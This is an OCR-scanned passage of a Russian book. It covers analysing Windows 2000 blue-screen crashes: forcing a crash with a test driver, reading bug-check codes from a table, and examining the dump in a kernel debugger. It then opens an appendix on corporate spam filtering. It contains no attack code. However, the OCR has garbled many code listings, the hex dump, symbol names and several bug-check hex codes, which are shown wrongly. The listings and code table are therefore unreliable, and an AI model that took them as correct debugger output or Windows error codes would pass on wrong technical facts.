другой драйвер-убийца операционной си- стемы, например, BDOS.EXE от Марка Русиновича, позволяющий получить дамп в любое удобное для нас время, не дожидаясь возникновения крити- ческой ошибки (бесплатную копию программы можно скачать с адреса http:/ /www.sysinternals.com ). 3. Файлы символьных идентификаторов {symbol files), необходимые отладчи- кам ядра для его нормального функционирования и делающие дизассемб- лерпый код более наглядным. Файлы символьных идентификаторов входят в состав «зеленого» набора MSDN, но, в принципе, без них можно и обой- тись, однако переменная окружения NTSYMBOLPATH по-любому должна быть определена, иначе отладчик i386kd.exe работать не будет (последние версии kernel debiiggcr’a поддерживают возможность загрузки символьной инфор- мации по требованию, динамически загружая ее с удаленного сервера, для этого переменная NT SYMBOL PATH должна быть определена следую- щим образом: SRV*C:\WINNT\Symbols\*http://msdl.microsoft.com/download/ symbols, что особенно полезно тем, кто сидит на топких диалапнутых кана- лах, вместо того, чтобы сливать полный символьный набор, весящий свыше 100 Мбайт и требующий 1 Гбайт дискового пространства, теперь можно ска- чивать лишь действительно нужные символы (как правило, это символы ядра) с общим объемом -100 Кбайт). 4. Одна или несколько книжек, описывающих архитектуру ядра системы. Очень хороша в этом смысле «Внутреннее устройство Windows 2000» Мар- ка Русспновича и Дэвида Соломона, интересная как системным програм- мистам, так и администраторам (о том, что большая часть книги нагло пере- драна с бессмертного творения Хелен Кастер «Основы WindowsNT», мы скромно промолчим).
280 Приложение А. Практические советы по восстановлению системы в боевых условиях Итак, установив DDK на свой компьютер и завершив все приложения, запус- каем драйвер-убийцу, и... под скрипящий звук записывающегося дампа систе- ма немедленно выбрасывает голубой экран, кратко информирующий нас о при- чинах сбоя (листинга. 19). Листинг А.19. Свидетельство возникновения неустранимого сбоя системы с краткой информацией о нем на голубом экране смерти (BSOD — Blue Screen Of Death) * ** STOP- 0x000000IE (0x00000005. 0xBE80B000. 0x00000000. 0x00000000) KMODEJXEPT1 ON_NOT_HALTED * ** Address OxBESOBOOO base at 0xBE80A000. Date Stamp 389db915 - w2k_kill.sys Beginning dump of physical memory Dumping physical memory to disk: 69 Для большинства администраторов голубой экран означает лишь одно — сис- теме «поплохело» настолько, что она предпочла смерть позору неустойчивого функционирования. Что же до таинственных письмен — они остаются сплош- ной загадкой. Но только не для настоящих профессионалов! Мы начнем с левого верхнего угла экрана и, зигзагами спускаясь вниз, трасси- руем все надписи по порядку: • *** STOP: — буквально означает «останов |спсте.мы|» и не несет в себе ника- кой дополнительной информации: • OxOOOOOOlE — представляет собой Bug Check-код, содержащий категорию сбоя. Расшифровку Bug Check-кодов можно найти в DDK. В данном случае это OxlE — KMODE_EXEPTION_NOT_HALTED, о чем и свидетельствует символьное имя, расположенное строкой ниже. Краткое объяснение некоторых наиболее по- пулярных BugCheck-кодов приведено в таблице А.1. Полноту фирмен- ной документации она, разумеется, не заменяет, но некоторое представле- ние о Целесообразности скачивания 70 метров DDK все-таки дает; • арабская вязь в круглых скобках — это четыре Bug Check-параметра, физи- ческий смысл которых зависит от конкретного Bug Check-кода и вне его кон- текста теряет всякий смысл. Применительно к KMODE_EXEPTION_ NOT HALTED — первый Bug Check-параметр содержит номер возбужденного исключения. Судя потабл. А. 1, это —STATOSACCESSVIOLATION —доступ к запрещенному адре- су памяти — и четвертый Bug Check-параметр указывает, какой именно. В дан- ном случае он равен нулю, следовательно, некоторая машинная инструкция попыталась совершить обращение по null-pointer, соответствующему иници- ализированному указателю, ссылающемуся на невыделенный регион памяти. Ее адрес содержится во втором Bug Check-параметре. Третий Bug Check-па- раметр в данном конкретном случае не определен; • *** Address 0хВЕ80В00 — это и есть тот адрес, по которому произошел сбой- В данном случае он идентичен второму Bug Check-параметру, однако так бывает далеко не всегда (Bug Check-коды, собственно, и не подряжались хра* нить чьи-либо адреса). • base at 0хВЕ80А00 — содержит базовый адрес загрузки модуля-нарушителя системного порядка, по которому легко установить «паспортные» данные’ самого этого модуля (внимание: далеко не во всех случаях правильное опре-
Программная часть 281 деление базового адреса вообще возможно). Воспользовавшись любым под- ходящим отладчиком (например, soft-ice от Нумега или i386kd от Microsoft), введем команду, распечатывающую перечень загруженных драйверов с их краткими характеристиками (в i386kd это осуществляется командой !drivers). Как одним из вариантов можно воспользоваться утилитой drivers.exe, входящей в NTDDK. но, какой бы вы путь ни выбрали, результат будет приблизительно следующим: kd> !dri vers!dri vers Loaded System Driver Summary Base Code Size Data Size Driver Name Creation Time 80400000 142dc0 (1291 kb) 4d680 (309 kb) ntoskrnl.exe Wed Dec 08 02:41:11 1999 80062000 cc20 ( 51 kb) 32c0 ( 12 kb) hal.dll Wed Nov 03 04:14:22 1999 f4010000 1760 ( 5 kb) 1000 ( 4 kb) BOOTV1D.DLL Thu Nov 04 04:24:33 1999 bffd8000 21ee0 ( 135 kb) 59a0 ( 22 kb) ACPI.sys Thu Nov 11 04:06:04 1999 be!93C00 I6T60 ( 91 kb) cccO ( 51 kb) kmixer.sys Wed Nov 10 09:52:30 1999 bddb40C0 355e0 ( 213 kb) ЮасО ( 66 kb) ATMFD.DLL Fri Nov 12 06:48:40 1999 be80a000 200 ( 0 kb) aOO ( 2 kb) w2k_kill.sys Mon Aug 28 02:40-.12 2000 ICTAL: 835ca0 (8407 kb) 326180 (3224 kb) ( 0 kb 0 kb) Обратите внимание на выделенную полужирным строку с именем w2k_kil1. sys, найденную по ее базовому адресу 0хВЕ80А00. Это и есть тот самый драйвер, ко- торый нам нужен! А впрочем, этого можно и нс делать, поскольку имя «не- . правильного» драйвера и без того присутствует на голубом экране; • Две нижние строки отражают прогресс сброса дампа на диск, развлекая на это время администратора чередой быстро меняющихся циферок. Таблица А.1. Физический смысл наиболее популярных Bug Check-кодов с краткими пояснениями. Определение рейтинга популярности Bug Check-кодов осуществлялось путем подсчета упоминаний о них в конференциях Интернета (спасибо старику Googl'y) Нех-код Символьное имя Описание ОхОА IRQLNOTLESSOREQUAL Драйвер попытался обратиться к странице памяти на уровне DISPATCH LEVEL или более высоком, что и привело к краху, поскольку менеджер виртуальной памяти работает на более низком уровне (это частая ошибка разработчиков, и, чтобы беда не застала вас врасплох, тщательно тестируйте все драйверы, устанавливаемые в систему. В состав DDK входит замечательная утилита driver verifier, — которая гоняет драйверы в хвост и гриву). Источником сбоя может быть и BIOS, и драйвер, и системный сервис (особенно этим грешат вирусные сканеры и FM-тюнеры). Как вариант — проверьте кабельные терминаторы на SCSI- накопителях и Master/Slayer на IDE, отключите кэширование памяти в BIOS. Если и это не поможет, обратитесь к четырем параметрам Bug Check-кода, содержащим ссылку на память, к которой осуществлялся доступ, уровень IRQL, тип доступа (чтение/запись) и адрес машинной инструкции драйвера Продолжение
282 Приложение А. Практические советы по восстановлению системы в боевых условиях ---------------------------------------------------------------------------- Таблица А.1 (продолжение) Hex-код Символьное имя Описание ’ OxlE KMODE_EXCEPTION_NOT_HANDLED Компонент ядра возбудил исключение и «забыл» его обработать; номер исключения содержится в первом Bug Check-параметре. Обычно он принимает одно из следующих значений- 0x80000003 (STATUSBREAKPOINT): встретилась программная точка останова — отладочный рудимент, по небрежности не удаленный разработчиком дравйера; (0x00000005) STATUS ACCESS VIOLATION: доступ к запрещенному адресу (четвертый Bug Check-параметр уточняет, к какому) — ошибка разработчика; (0хС000021А) STATUS_SYSTEM_PROCESS_ TERMINATED: сбой процессов CSRSS и/или Win!одой, источником которого могут быть как компоненты ядра, так и пользовательские приложения; обычно это происходит при заражении машины вирусом или нарушении целостности системных файлов. (0хС0000221) STATUS_IMAGE_ CHECSUM-MISMATCH: целостность одного из системных файлов оказалась нарушена; второй Bug Check-параметр содержит адрес машинной команды, возбудившей исключение 0x24 NTFS_FILE_SYSTEM Проблема с драйвером NTFS.SYS, обычно возникающая вследствие физического разрушения диска, реже — при остром недостатке физической оперативной памяти 0х2Е DATA_BUS_ERROR Драйвер обратился к несуществующему физическому адресу; если только это не ошибка драйвера; оперативная память и/или кэш-память процессора (видеопамять) неисправны или же работают на запредельных тактовых частотах 0x35 NOMOREIRPSTACKLOCATIONS Драйвер более высокого уровня обратился к драйверу более низкого уровня через IoCallDriver-интерфейс, однако свободного пространства в IRP-стеке не оказалось, и передать весь IRP-пакет целиком не удалось. Это гибельная ситуация, не имеющая прямых решений; попытайтесь удалить один или несколько наименее нужных драйверов, быть может, тогда система заработает
Программная часть 283 Нех-код Символьное имя Описание 0x3F NOMORESYSTEMPTES Результат сильной фрагментации таблицы РТЕ, приводящей к невозможности выделения затребованного драйвером блока памяти; обычно это характерно для аудио/видеодрайверов, манипулирующих огромными блоками памяти и к тому же не всегда их вовремя освобождающих; для решения проблемы попробуйте увеличить кол-во РТЕ (до 50 000 максимум) в следующей ветке peecrpa:HLLM\SYSTEM\ CurrentControlSet\Control\ Session Manager\Memory Management\SystemPages 0x50 PAGE_FAULT_IN_NONPAGED_AREA Обращение к несуществующей странице памяти, вызванное либо неисправностью оборудования (как правило — оперативной-, видео- или кэш-памяти), либо некорректно спроектированным сервисом (этим грешат многие антивирусы, в том числе Касперский и Доктор Веб), либо разрушениями NTFS-тома (запустите chkdsk с ключами /f и /г), также попробуйте запретить кэширование памяти в BIOS 0x58 FTDISK_INTERNAL_ERROR Сбой RAID-массива — при попытке загрузки с основного диска система обнаружила, что он поврежден, тогда она обратилась к его зеркалу, но таблицы разделов не оказалось и там 0x76 PROCESS_HAS_LOCKED_PAGES Драйвер не смог освободить залоченные страницы после завершения операции ввода/вывода; для определения имени дефектного драйвера следует обратиться к ветке реестра: HKLM\SYSTEM\CurrentControlSet\ Control\Session Manager\ Memory Management, и установить параметр . TrackLockedPages типа DWORD в значение 1, потом перезагрузить систему, после чего та будет сохранять трассируемый стек, и, если нехороший драйвер вновь начнет «чудить», возникнет BSOD с Bug Check-кодом ОхСВ, позволяющим определить виновника продолжение &
284 Приложение А. Практические советы по восстановлению системы в боевых условиях — -— ___ Таблица А.1 (продолжение) Hex-код Символьное имя Описание ’ ’ _ 0x77 KERNEL_STACK_INPAGE_ERROR Страница данных памяти ядра по техническим причинам недоступна, если первый Bug Check-код не равен нулю, то он может принимать одно из следующих значений: (0хС000009А) STATUSINSUFFIСIENT_ RESOURCES — недостаточно системных ресурсов; (0хС000009С) STATUSDEVICEDATAERROR - ошибка чтения с диска (bad-сектор?); (0xC000009D) STATUS_DEVICE_ NOT_CONNECTED — система не видит привод (неисправность контроллера, плохой контакт шлейфа); (0хС000016А) STATUSDISKOPERATIONFAILED - ошибка чтения диска (bad-сектор или неисправный контроллер); (0хС0000185) STATUSIODEVICEERROR - неправильное термирование SCSI-привода или конфликт IRQ- IDE-приводов; нулевое же значение первого Bug Check-кода указывает на неизвестную аппаратную проблему; такое сообщение может появляться и при заражении системы вирусами, и при разрушении диска старыми докторами, и при отказе RAM — войдите в консоль восстановления и запустите ChkDsk с ключом /г 0х7А KERNEL_DATA_INPAGE_ERROR### Страница данных памяти ядра по техническим причинам недоступна, второй Bug Check- параметр содержит статус обмена, четвертый — виртуальный страничный адрес, загрузить который не удалось. Возможные причины сбоя — те же дефектные сектора, попавшие в pagefile.sys, сбои дискового контроллера, ну и вирусы, наконец 0x7В INACCESSIBLE BOOT DEVICE Загрузочное устройство недоступно — таблица разделов повреждена или не соответствует файлу boot.ini. Также такое сообщение появляется при замене материнской платы с интегрированным IDE-контроллером (или замене SCSI-контроллера), поскольку всякий контроллер требует «своих» драйверов, и при подключении жесткого диска с установленной NT на компьютер, оснащенный несовместимым оборудованием, операционная система просто откажется грузиться, и ее необходимо переустановить. Опытные администраторы могут переустановить непосредственно сами дисковые драйвера, загрузившись с консоли восстановления. Также не помешает проверить общую исправность оборудования и наличие вирусов на диске
Программная часть 285 Нех-код Символьное имя Описание 0X7F UNEXPECTEDKERNELMODETRAP Исключение процессора, необработанное операционной системой. Обычно возникает вследствие неисправности оборудования (как правило — разгона CPU), его несовместимости с установленными ' драйверами или алгоритмическими ошибками в самих драйверах. Проверьте исправность оборудования и удалите все посторонние драйверы. Первый Bug Check-параметр содержит номер исключения и может принимать следующие значения: 0x00 — попытка деления на нуль; 0x01 — исключение системного отладчика; 0x03 — исключение точки останова; 0x04 — переполнение; 0x05 — генерируется инструкцией BOUND; 0x06 — неверный опкод; 0x07 — двойной отказ (Double Fault). Описание остальных исключений содержится в документации на Intel и AMD процессоры 0x02 BADPOOLCALLER Текущий поток вызвал некорректный pool-request, что обычно происходит по причине алгоритмической ошибки, допущенной разработчиком драйвера. Однако, судя по всему, и сама система не остается без ошибок, поскольку для устранения этого голубого экрана Microsoft рекомендует установить SP2 ОхСВ DRIVER LEFT LOCKED PAGES IN PROCESS После завершения процедуры ввода/вывода драйвер не может освободить заблокированные страницы (см. PROCESSHASLOCKEDPAGES) Первый Bug Check-параметр содержит вызываемый, а второй Bug Check-параметр — вызывающий адрес. Последний, четвертый, параметр указывает на UNICODE-строку с именем драйвера 0x01 DRIVER_IRQL_NOT_LESS_OR_EQUAL То же самое, что иIRQL NOT LESS OR EQUAL 0хЕ2 MANUALLYINITIATEDCRAS Сбой системы, спровоцированный вручную, путем нажатия комбинации клавиш Ctrl+Scroll Loock, при условии, что параметр CrashOnCtrlScroll ветви реестра: HKLM\System\CurrentControlSet\ Services\i8042prt\Pararneters, содержит ненулевое значение продолжение &
286 Приложение А. Практические советы по восстановлению системы в боевых услови Таблица А.1 {продолжение} Hex-код Символьное имя Описание ~ ~~ 0х7А KERNEL_DATA_INPAGE_ERRORСтраница данных памяти ядра по ~~ ~ техническим причинам недоступна, второй Bug Check-параметр содержит статус обмена четвертый — виртуальный страничный ' адрес, загрузить который не удалось. Возможные причины сбоя — те же дефектные сектора, попавшие в pagefile.sys, сбои дискового контроллера, ну и вирусы, наконец ВОССТАНОВЛЕНИЕ СИСТЕМЫ ПОСЛЕ КРИТИЧЕСКОГО СБОЯ Неестественное, почти половое влечение к кнопке F8 по- явилось в Кролике совершенно не внезапно. Андрей Щербаков, «14400 бод и 19200 юзеров, и те же самые все-все-все...» Операционные системы семейства NT достаточно безболезненно переносят критические сбои, даже если те произошли в самый неудобный момент време- ни (например, в период дефрагментации диска). Отказоустойчивый драйвер файловой системы все сделает сам (хотя запустить ChkDsk все же не помешает). Если был выбран «полный дамп памяти» или «дамп памяти ядра», то при сле- дующей успешной загрузке системы жесткий диск будет долго молотить го- ловкой, даже если к нему и не происходит никаких обращений. Не пугайтесь! Просто Windows перемещает дамп из виртуальной памяти на место его посто- янного проживания. Запустив Диспетчер Задач, вы увидите новый процесс в списке — SaveDump.exe, — вот он этим и занимается. Необходимость в подоо- ной двухтактной схеме сброса дампа объясняется тем, что в момент возникно- вения критической ошибки работоспособность драйверов файловой системы уже не гарантируется, и операционная система не может позволить сеое их использовать, ограничиваясь временным размещением дампа в виртуальной па- мяти. Кстати, если имеющейся виртуальной памяти объем которой задается через Дополнительно ► Параметры быстродействия ► Виртуальная память, окажет- ся недостаточно, сброс дампа окажется невозможным. Если же система отказывается от загрузки, упорно забрасывая вас голубыми экранами, вспомните о существовании клавиши F8 и выберите пункт Загрузка последней удачной конфигурации (Last Known Good Configuration). Более ради кальной мерой является запуск системы в безопасном (safe) режиме с мини мумом загружаемых служб и драйверов. Переустановка системы — это край пяя мера, и без особой нужны к ней лучше не прибегать. Лучше войдШ4- в «консоль восстановления» и перетащите файл дампа на другую машину Д-',я его исследования.
Восстановление системы после критического сбоя 287 ПОДКЛЮЧЕНИЕ ДАМПА ПАМЯТИ Для подключения дампа памяти к отладчику Window s Debugger (windbg.exe) в меню File выберите пункт Crash Dump или воспользуйтесь комбинацией кла- виш Ctrl+D. В отладчике i386kd.exe для той же цели служит ключ -z командной строки, за которым следует полный путь к файлу дампа, отделенный от ключа одним или несколькими пробелами, при этом переменная окружения NT SYMBOL PATH должна быть определена и должна содержать полный путь к фай- лам символьных идентификаторов, в противном случае отладчик аварийно за- вершит свою работу. Как один из вариантов можно указать в командой строке ключ -у, и тогда экран консоли будет выглядеть так: 1386kd -z С:\WINNT\ memory.dmp -у C:\WINNT\Symbols, причем отладчик следует вызывать из консоли Checked Build Environment/Free Build Environment, находящейся в папке Windows 2000 DDK, иначе у вас ничего не получится. Хорошая идея — ассоциировать dmp-файлы с отладчиком i386kd, запуская их одним ударом по клавише Enter из FAR. Впрочем, выбор средства анализа — дело вкуса. Кому-то правится KAnalyze, а кому-то достаточно и простенького DumpChk. Выбор аналитических инструментов чрезвычайно велик (один лишь DDK содержит четыре из них!), и, чтобы хоть как-то определиться с выбором, мы остановимся на i386kd.exe, также называемом Kernel Debugger. Как только консоль отладчика появится на экране (a Kernel Debugger — это консольное приложение, горячо любимое всеми, кто провел свою молодость за текстовыми терминалами), курсор наскоро дизассемблирует текущую машин- ную инструкцию и своим тревожным мерцанием затягивает нас в пучину ма- шинного кода. 11у что, глазки строить будем или все-таки дизассемблировать? — незлобно ворчим мы, выбивая па клавиатуре команду и, заставляющую отлад- чик продолжить дизассемблирование. Судя по символьным идентификаторам PspUnhandledExceptionlnSystemThread и KeBugCheckEx, мы находимся глубоко в ядре, а точнее — в окрестностях того кода, что выводит BSOD на экран (листинг А.20). Листинг А.20. Результат дизассемблирования подключенного дампа памяти с текущего адреса 8045249с 6а01 push Cxi kd*u _PsDUnhend':C'dExceptiCjnIriSystCTlhread(a4: 80452484 8В442404 mov еах. dword ptr [esp+4] 80452488 8B0C nov eax. dword ptr [eax] 8045248A FF/018 pusn dword ptr [eax+18h] 80452480 FF7014 pusn dword ptr [eax+14h] 80452490 FF7C0C push dword ptr [eax<0Ch] 80452493 FF3C past dword ptr [еах! 80452495 6AIE push lEh 80452497 E8789AFDFF call _KeBugChockEx02O 8045249C 6A01 8045249E 58 push 1 pop eax 8045249F C20400 ret 4
288 Приложение А. Практические советы по восстановлению системы в боевых условиях В стеке ничего интересного также не содержится, вот судите сами (просмотр содержимого стека осуществляется командной kb) (листинг А.21). Листинг А.21. Сдержимое стека не дает никаких намеков на природу истинного виновника kd> ко ChlldEBP RetAddг Args to Child f403f71c 8045251C f403f744 8045CC77 f403f74c ntoskrnl!PspUnhandledE xceptlonIn$ystemThread+0xl8 f403fddc 80465b62 80418ada 00000001 00000000 ntoskrnl!PspSystemThreadStartup*0x5e 00000000 00000000 00000000 00000000 00000000 ntoskrnl!K1ThreadStartup+0xl6 Такой поворот событий ставит нас в тупик. Сколько бы мы ни дизассемблиро- вали ядро, это ни на йоту не приблизит нас к источнику критической ошибки. Что ж, все вполне логично. Текущий адрес (8O45249Ch) лежит далеко за предела- ми драйвера-убийцы (0ВЕ80А00Й). Хороню, давайте развернемся и пойдем дру- гим путем. Помните тот адрес, что высвечивал голубой экран смерти? Не по- мните — небеда! Если это только не запрещено настройками, копии всех голубых экранов сохраняются в Журнале системы. Откроем его (Панель управления ► Администрирование ► Просмотр событий) (листинг А.22). Листинг А.22. Копия голубого экрана смерти, сохраненная в системном журнале Компьютер был перезагружен после критической ошибки: OxOOOOOOle (ОхсООООООБ. 0xbe80b000. 0x00000000. 0x00000000) Microsoft Windows 2000 [vl5.2195] Копия памяти сохранена: C:\W1NNT\MEMORY.DMP Отталкиваясь от категории.критической ошибки (0х1Е), мы без труда сможем определить адрес инструкции-убийцы — 0хВЕ80В000 (в приведенном выше лис- тинге он выделен полужирным шрифтом). Даем команду u ВЕ8ОВООО для про- смотра его содержимого (листинг А.23). Листинг А.23. Результат дизассемблирования дампа памяти по адресу, сообщенному голубым экраном смерти kd>u ОхВЕ80ВООО Ье80Ь000 аЮООООООО mov еах,[00000000] Ье80Ь005 С20800 ret 0x8 ЬеВОЬООВ 90 nop Ье80Ь009 90 nop ЬеВОЬООа 90 nop Ье80о00Ь 90 nop be80b00c 90 nop beBObOOd 90 nop Ага! Вот это уже больше похоже на истину! Инструкция, па которую указыва® курсор (в тексте она выделена жирным), обращается к ячейке с нулевым аДР^ сом, возбуждая тем самым губительное для системы исключение. Теперь • точно знаем, какая ветка программы вызвала сбой.
Восстановление системы после критического сбоя 289 Хорошо, а как быть, если копии экрана смерти в нашем распоряжении нет? На самом деле? синий экран всегда с нами, надо только знать, где искать! Попро- буйте открыть файл дампа в любом hex-редакторе, и вы обнаружите следующие строки: ОСОООООО: 50 41 47 45 44 55 4D 50 ! 0F ОС 00 00 93 08 09 00 ^AGEDUMPO У» 00000016: 00 00 03 00 00 80 8В 8'. | С9 М 46 80 80 А] 46 80 ' АЛЫ.дГААбГА к 00000020: 4С 01 00 00 01 00 00 00 : 1Е 90 00 00 05 00 00 СО L0 0 ' | L 00000030: 00 ВО 80 BE 00 00 00 00 | 00 СО 00 00 00 41 47 45 A- AGE С первого же взгляда удается опознать все основные Bug Check-параметры: IE 00 00 00 — это код категории сбоя OxlE (на х86-нроцессорах наименее значи- мый байт располагается по меньшему адресу, то есть все числа записываются задом наперед); 05 00 00 СО — код исключения ACCESS VIOLATION: а 00 ВО 80 BE— и есть адрес машинной команды, породившей это исключение. В комбинации же 0F 00 00 00 93 ОБ легко узнается помер билда системы, стоит только запи- сать его в десятичной нотации. Для просмотра Bug Check-параметров в удобочитаемом виде можно восполь- зоваться командой отладчика dd KiBugCheckData (листинг А.24). Листинг А.24. Bug Check-параметры, отображаемые в удобочитаемом виде kd> dd KiBugCheckCcta dd KiBugCheckData 8O47e6cO OOOOOOle C0000005 8047e6d0 00000090 00000000 8047e6e0 00000000 COOCOOOO 8047e6F0 ОООООСОС 00000900 8047e700 00000000 00000009 8047c710 00000000 OOOOOOCC 8047e720 00000000 COOCOOOO 8047e730 00000000 eOffffff be80b000 00000000 OOOCOGOl 00000000 OOOOOOCC 90000000 00000000 cooooooo 00000000 ОООСЭСОО 90000000 cooooooo OOOOOOCC 00000000 edffffff 00020000 Другие полезные команды: ’•drivers — выводящая список драйверов, загруженных на момент сбоя: iarbiter — показывающая всех арбитров вместе с диапазонами арбитража; •'filecache — отображающая информацию о кэше файловой системы и РТ; ’•vm — отчитывающаяся об использовании виртуальной памяти. т- Д., и т. и. — всех не перечислишь! (Полный перечень команд вы найдете в ру- ководстве по своему любимому отладчику.) Конечно, в реальной жизни определить истинного виновника краха системы Чамног-о сложнее, поскольку всякий нормальный драйвер состоит из множе- Ст,,а сложно взаимодействующих функций, образующих запутанные иерархи- Ческие комплексы, местами пересеченные туннелями глобальных переменных, Превращающих драйвер в самый настоящий лабиринт. Приведем только один ^Ример. Конструкция вида mov еах. [ebx], где ebx = 0, работает вполне пормаль- 11о> Послушно возбуждая исключение, и пытаться поговорить с ней по-мужс- ,П| ~~ бессмысленно! Нужно найти тот код, который записывает в ЕВХ нулевое Зак 976
290 Приложение А. Практические советы по восстановлению системы в боевых условия значение, и сделать это непросто. Можно, конечно, просто прокрутить эКр. вверх, надеясь, что на данном участке программный код выполнялся линейц но никаких гарантий, что это действительно так, у нас нет, равно как нет и воз можности обратной трассировки (back trace). Грубо говоря, адрес предшеству ющен машинной инструкции нам неизвестен и закладываться па прокрутку экрана нельзя! Загрузив подопытный драйвер в любой интеллектуальный дизассемблер, ав- томатически восстанавливающий перекрестные ссылки (например, IDA PRO) мы получим более или менее полное представление о топологии управляющих ветвей программы. Конечно, дизассемблирование в силу своей статической природы не гарантирует, что управление не перекинулось откуда-то еще, но, по крайней мере, сужает круг поиска. Вообще же о дизассемблировании написано множество хороших книг (и «Фундаментальные основы хакерства» Криса Кас- нерски в том числе), поэтому не будем останавливаться на этом вопросе, а про- сто пожелаем всем читателям удачи!
ПРИЛОЖЕНИЕ Б БОРЬБА СО СПАМОМ Спам стам настоящей чумой Интернета, и попытки борьбы с ним лишь усугу- били ситуацию. Непрошеные сообщения как были, так и остались, а ощутимая часть полезной корреспонденции перестала доходить до адресатов, заблудив- шихся в дебрях антиспамовых фильтров. Очевидно, что комплекс предприни- маемых против спамеров мер не отвечает даже разумному минимуму требова- нии и с поставленными перед ними задачами категорически не справляется. Поскольку юридический статус спама все еще остается пе определенным, про- тивостоять ему могут только сами члены Глобальной сети. Для успешного ве- дения оборонительных действий требуются не только широкие каналы связи, мощные серверы, но и надежные алгоритмы автоматического распознавания спамерских сообщений, к которым предъявляются следующие жесткие требо- вания: • практически вся непрошеная корреспонденция должна удаляться; • не-сиамерские сообщения ни при каких обстоятельствах не должны уда- ляться; • всю необходимую для пего информацию антиспамерский фильтр должен черпать из сети самостоятельно, не требуя никакого дополнительного об- служивания. Вот о таких алгоритмах фильтрации и пойдет речь в этом приложении. Оно в первую очередь ориентировано на разработчиков и руководящий состав мел- ких, крупных фирм и корпораций, озабоченных проблемой массового поступ- ления непрошеной корреспонденции и желающих как можно безболезненнее °т нее избавиться.
292 Приложение Б. Борьба «ОБЩЕПИТОВЫЕ» ТРУДНОСТИ БОРЬБЫ СО СПАМОМ Трудности борьбы со спамом лежат в социальной, а отнюдь не в технической сфере. И главная из этих трудностей — лицемерие. Многие из тех адмпипстра торов, что выступают против спама и против спамеров, сами же спамерами и яв ляются, а если не являются, то не против ими стать. Во всяком случае, заказы па написание программ для автоматического накопления базы пользователь- ских адресов автор получал неоднократно (естественно, всегда отвечая катего- рическим отказом). Действительно, борьба борьбой, а своя рубашка ближе к телу, и если иа массо- вой рассылке можно хоть немного заработать, то... почему бы и нет? (особенно если трафик оплачивает пе сам спамер, а его работодатель). А ведь админи- стратор — это но определению высоконравственный человек! Что же тогда го- ворить обо всех остальных пользователях, рассылающих корреспонденцию того или иного содержания по обыкновенному модему, сидящему па хлипком Dial- Up в 33.600 или даже менее того. Владельцы оптоволоконных каналов связи толщиной в руку лишь усмехнуться: много ли по модему отправишь? По одно- му модему — немного, по когда к такой рассылке подключаются тысячи пользо- вателей, полноводная река кустарного спама становится слишком глубока, чтобы позволить себя игнорировать. К счастью, первый акт подобной рассылки зачастую оказывается для спамера и последним, поскольку последнее время провайдеры оперативно отключают таких варваров без нрав восстановления — и правильно! Однако это не решает проблемы, так как рассылка может осуществляться п в обход провайдера. В се- ти полно бесплатных серверов, свободно регистрирующих всех желающих и ни- как не контролирующих максимальное количество отправляемых писем с дан- ного адреса в единицу времени. Полно и просто незащищенных узлов, проникнув в которые спамер получает в свое распоряжение мощный сервер и быстрый канал, а главное — полную анонимность. Вирусы также могут слу- жить разносчиками спамерских сообщений, превращая всякий компьютер в ав- тономный SMTP-сервер. И если хакеров уже приравняли к террористам, посчитав, что между убийством люден и уничтожением информации нет никакой принципиальной разницы, то какой же ярлык мы должны навесить на спамеров, чтобы вся обществен- ность обернула свой гнев против них? СПОСОБЫ БОРЬБЫ СО СПАМОМ НА КОРПОРАТИВНОМ УРОВНЕ Оценки вредоносности спама всяк склонен оценивать по-разному. В какой-то мере спам даже полезен. Задумайтесь: раз спам так интенсивно рассылают, зна- чит, это кому-то да нужно, и эффективность такого способа рекламы весьма велика. Если бы все пользователи Сети перестали обращать на спам внимание,
оружие возмездия или способы борьбы со спамом 293 то его просто бы не рассылали. Из сотен абсолютно бесполезных писем иной раз попадаются сообщения, привлекающие к себе внимание. Сам автор таким способом обнаружил несколько фирм, с которыми теперь он тесно сотруднича- ет и доход от этого сотрудничества существенно превышает расходы, связан- ные с получением остальных снамерских сообщений (ирония судьбы состоит в том, что совместно с этими фирмами и был создан качественный антиспамер- ский фильтр, описываемый в настоящей главе). Со спамом обычно связывают два вида неудобств-убытков: необходимость опла- ты паразитного трафика (или времени, проведенного в Интернете, при Dial- ир-подключении) и психологический дискомфорт, вызванный получением боль- ших количеств абсолютно не интересных вам сообщений, порой непристойного характера (типа увеличения пениса на полметра в толщину), или злостного чер- вя, активирующегося при просмотре письма и совершающего с вашей маши- ной нечто нехорошее. Собственно говоря, стоимость Интернет-трафика сейчас до смешного низка, и потому апеллировать к убыткам, вызванных приемом нежелательной коррес- понденции, могут лишь те, через кого ежедневно проходят тонны спама, однако и в этом случае доля спама в общем объеме трафика зачастую оказывается край- не невелика. Нерадивые сотрудники компаний, вытягивающие из сети гига- байты MP3 и не отрывающиеся от «Масяни», причиняют куда больший ущерб и создают значительно более тяжкие проблемы, чем спам (про трафик порно- сайтов вообще по приходится говорить). К тому же всякая попытка уменьше- ния спамерского трафика так или иначе ущемляет интересы ни в чем не повин- ных пользователей, а этого допускать нельзя! Конечно, лес рубят — щенки летят, но и уподобляться герою известного анекдота, брат которого веслом убивает севшую ему на губу осу — тоже не стоит. Психологический дискомфорт — другое дело. Рекламная корреспонденция, по- ступающая в огромных количествах, страшно нервирует даже психологически устойчивых людей, а темпераментных с горячей кровью особ она и вовсе дово- дит до ярости, порой выливающейся в разбитые мониторы и расколотые кла- виатуры. Добавьте сюда временные затраты, требующиеся для получения не- прошеных сообщений, и вы поймете, почему обитатели сети так ненавидят спам. Таким образом, средства борьбы со спамом должны избавить пользователей от удовольствия получения «политнекорректной» корреспонденции, попутно с этим уменьшая паразитный трафик настолько, насколько это возможно. ОРУЖИЕ ВОЗМЕЗДИЯ ИЛИ СПОСОБЫ борьбы со спамом Если не бороться со спамом, то объем паразитного трафика будет неуклон- но возрастать, вплоть до полной парализации Сети, занятой передачей бес- полезных сообщений. Вообще-то, памятуя известное высказывание «все уже Украдено до нас», можно сказать, что и без спама Интернет представляет
